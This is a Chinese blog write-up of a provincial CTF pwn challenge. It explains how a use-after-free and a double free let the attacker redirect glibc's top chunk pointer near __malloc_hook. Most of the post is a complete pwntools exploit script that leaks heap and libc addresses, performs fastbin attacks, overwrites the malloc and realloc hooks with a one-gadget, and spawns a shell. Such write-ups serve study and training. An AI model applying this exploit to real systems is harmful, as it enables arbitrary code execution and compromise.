top chunk的一种利用
LOLOLO Lv3

delay

四川省省赛的一道PWN题,学到了关于top_chunk利用的新手法

add

show

free

漏洞

  1. UAF
  2. double free

利用思路

先说开始我的错误,我一开始闷头写,用double free和UAF构造了free_hook写入了fd;后面突然发现,它限制了size大小为0x58,而申请到free_hook需要0x7f;当场自闭!

后面看了别的师傅的wp,发现可以改top_chunk在main_arena中的地址为free_hook-0x28的位置,这样在下次申请堆块的时候,就会从free_hook-0x28的位置开始分配,这样我们就可以往free_hook和realloc_hook里面写入。最后free拿shell;exp来源于这位师傅

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

sh = process('./1')
elf =ELF('./1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Num(n, l=8):
sh.sendline(str(n))

def Cmd(n, wait=True):
if(wait):
sh.recvuntil(' :')
Num(n)

def Add(size, cont=''):
if(len(cont)==0):
cont = 'A'*(size-1)+'\n'
Cmd(1)
sh.recvuntil(':\n')
Num(size)
sh.recvuntil(':\n')
sh.send(cont)

def Show(idx):
Cmd(2)
sh.recvuntil(':\n')
Num(idx)

def Delete(idx):
Cmd(3)
sh.recvuntil(':\n')
Num(idx)

def GDB():
gdb.attach(sh, '''
telescope (0x202040+0x0000555555554000) 16
break *malloc
''')

#chunk arrange
Add(0x48) #A
Add(0x48) #B
Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') #C
Add(0x58) #D
Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n') #E
#fastbin cyclic
Delete(0)
Delete(1)
Delete(0) #Fastbin->A<->B
#get heap addr
Show(0)
heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
# Log('heap_addr')

#forge big chunk
Add(0x48, flat(heap_addr+0x210)+'\n') #Fastbin->B->A->C
Add(0x48)
Add(0x48)
Add(0x48, flat(0, 0xA1)+'\n') #D's size=0xA1
#get UB chunk
Delete(3) #UB<=>(DE, 0xa0)
#get libc addr
Show(3)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78
sys = libc.address + libc.sym['system']
# Log('libc.address')

#Fastbin->A<->B
Delete(0)
Delete(1)
Delete(0)

#forge size in main_arena 1
Add(0x48, flat(0x61)+'\n') #Fastbin->B->A->0x61
#clean PtrArr, because it's Full
sh.recvuntil('clear done!\n')
Num(666)

#forge size in main_arena 2
Add(0x48) #Fastbin->A->0x61
Add(0x48) #Fastbin->0x61
#Fastbin Attack
Add(0x58) #C
Add(0x58) #D
#Fastbin[0x60]->C<->D
Delete(2)
Delete(3)
Delete(2)

#fastbin alloc to main_arena
Add(0x58, flat(libc.address+0x3c4b38)+'\n') #Fastbin->D->C->main_arena
Add(0x58) #Fastbin->C->main_arena
Add(0x58) #Fastbin->main_arena
#forege main_arena->top = __malloc_hook
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')

#alloc to hook
OGG = libc.address+0x4527a
exp = flat(0, 0)
exp+= flat(OGG) #let __malloc_hook = realloc+6 to adjust stack
exp+= flat(libc.symbols['realloc']+8) #let __realloc_hook = OGG
# exp +=flat(sys)
Add(0x58, exp+'\n')
# gdb.attach(sh)
#getshell
#GDB()
Cmd(1)
sh.recvuntil(':\n')
Num(1)

sh.interactive()
  • 本文标题:top chunk的一种利用
  • 本文作者:LOLOLO
  • 创建时间:2021-11-17 16:56:43
  • 本文链接:https://lololo-pwn.github.io/2021/11/17/top-chunk的一种利用/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论